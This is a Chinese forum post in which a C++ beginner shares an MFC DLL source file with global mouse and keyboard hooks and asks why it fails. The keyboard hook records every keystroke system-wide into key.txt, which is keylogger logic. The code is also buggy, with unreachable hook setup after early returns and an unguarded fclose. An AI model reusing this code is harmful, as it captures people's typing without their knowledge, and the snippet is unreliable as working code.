本人刚学C++,因为项目中要用到C++所以学习使用钩子。
我建的项目是MFC DLL—>创建规则 DLL(共享 MFC)—>使用共享 MFC DLL 的规则 DLL(D)
错误如下:
目录结构如下:
CPP文件下代码如下:
// Hook.cpp : 定义 DLL 的初始化例程。
//
#include "stdafx.h"
#include "Hook.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// CHookApp
#pragma data_seg("mydata")
//鼠标钩子
HWND glhPrevTarWnd = NULL; // 上次鼠标所指的窗口句柄
HWND glhDisplayWnd = NULL; // 显示目标窗口标题编辑框的句柄
HWND glhMouseHook = NULL; // 安装的鼠标钩子句柄
HINSTANCE glhInstance = NULL; // DLL实例句柄
HWND glhKepPrevTarWnd = NULL; // 上次鼠标所指的窗口句柄
HWND glhKepDisplayWnd = NULL; // 显示目标窗口标题编辑框的句柄
HWND glhKepHook=NULL; //安装的键盘钩子句柄
HINSTANCE glhKepInstance = NULL; // DLL实例句柄
#pragma data_seg()
BEGIN_MESSAGE_MAP(CHookApp, CWinApp)
END_MESSAGE_MAP()
//主程序体
static AFX_EXTENSION_MODULE HookDLL = { NULL, NULL };
extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
// 如果使用 lpReserved,请将此移除
UNREFERENCED_PARAMETER(lpReserved);
if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("Hook.DLL 正在初始化!\n");
// 扩展 DLL 一次性初始化
if (!AfxInitExtensionModule(HookDLL, hInstance))
return 0;
// 将此 DLL 插入到资源链中
// 注意: 如果此扩展 DLL 由
// MFC 规则 DLL (如 ActiveX 控件)隐式链接到,
// 而不是由 MFC 应用程序链接到,则需要
// 将此行从 DllMain 中移除并将其放置在一个
// 从此扩展 DLL 导出的单独的函数中。使用此扩展 DLL 的
// 规则 DLL 然后应显式
// 调用该函数以初始化此扩展 DLL。否则,
// CDynLinkLibrary 对象不会附加到
// 规则 DLL 的资源链,并将导致严重的
// 问题。
new CDynLinkLibrary(HookDLL);
glhInstance=hInstance;//插入保存DLL实例句柄
glhKepInstance=hInstance;//插入保存DLL实例句柄
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("Hook.DLL 正在终止!\n");
// 在调用析构函数之前终止该库
AfxTermExtensionModule(HookDLL);
}
return 1; // 确定
}
// CHookApp 构造
CHookApp::CHookApp()
{
// TODO: 在此处添加构造代码,
// 将所有重要的初始化放置在 InitInstance 中
}
//CHookApp析构函数
CHookApp::~CHookApp()
{
if(glhMouseHook){
UnhookWindowsHookEx((HHOOK)glhMouseHook);
}
if(glhKepHook){
UnhookWindowsHookEx((HHOOK)glhKepHook);
}
}
// 唯一的一个 CHookApp 对象
CHookApp theApp;
// CHookApp 初始化
BOOL CHookApp::InitInstance()
{
CWinApp::InitInstance();
return TRUE;
}
LRESULT WINAPI MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{
LPMOUSEHOOKSTRUCT pMouseHook = (MOUSEHOOKSTRUCT FAR *) lParam;
if (nCode >= 0) {
HWND glhTargetWnd = pMouseHook->hwnd; // 取目标窗口句柄
HWND ParentWnd = glhTargetWnd;
while (ParentWnd != NULL){
glhTargetWnd = ParentWnd;
ParentWnd = GetParent(glhTargetWnd); // 取应用程序主窗口句柄
}
if (glhTargetWnd != glhPrevTarWnd) {
char szCaption[100];
GetWindowText(glhTargetWnd, szCaption, 100); // 取目标窗口标题
if (IsWindow(glhDisplayWnd))
SendMessage(glhDisplayWnd, WM_SETTEXT, 0, (LPARAM)(LPCTSTR)szCaption);
glhPrevTarWnd = glhTargetWnd; // 保存目标窗口
}
}
// 继续传递消息
return CallNextHookEx((HHOOK)glhMouseHook, nCode, wParam, lParam);
}
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch=0;
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
{
fl=fopen("key.txt","a+"); //输出到key.txt文件
if (wParam==VK_RETURN)
{
ch='\n';
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
//ch=MapVirtualKey(wParam,2); //把虚键代码变为字符
ch =char(w);
}
fwrite(&ch, sizeof(char), 1, fl);
}
fclose(fl);
}
return CallNextHookEx( (HHOOK)glhKepHook, nCode, wParam, lParam );
}
BOOL CHookApp::starthook(HWND hWnd)
{
BOOL bResult=FALSE;
glhMouseHook=(HWND)SetWindowsHookEx(WH_MOUSE,MouseProc,glhInstance,0);
if (glhMouseHook != NULL)
bResult = TRUE;
glhDisplayWnd = hWnd; // 设置显示目标窗口标题编辑框的句柄
return bResult;
BOOL bKepResult=FALSE;
glhKepHook=(HWND)SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhKepInstance,0);
if (glhKepHook != NULL)
bKepResult = TRUE;
glhKepDisplayWnd = hWnd; // 设置显示目标窗口标题编辑框的句柄
return bKepResult;
}
BOOL CHookApp::stophook()
{
BOOL bResult = FALSE;
if (glhMouseHook){
bResult = UnhookWindowsHookEx((HHOOK)glhMouseHook); // 卸载钩子
if (bResult)
glhDisplayWnd = glhPrevTarWnd = glhMouseHook = NULL;
}
return bResult;
BOOL bKepResult = FALSE;
if (glhKepHook){
bKepResult = UnhookWindowsHookEx((HHOOK)glhKepHook); // 卸载钩子
if (bKepResult)
glhKepDisplayWnd = glhKepPrevTarWnd = glhKepHook = NULL;
}
return bKepResult;
}
麻烦大家帮忙看下感激不尽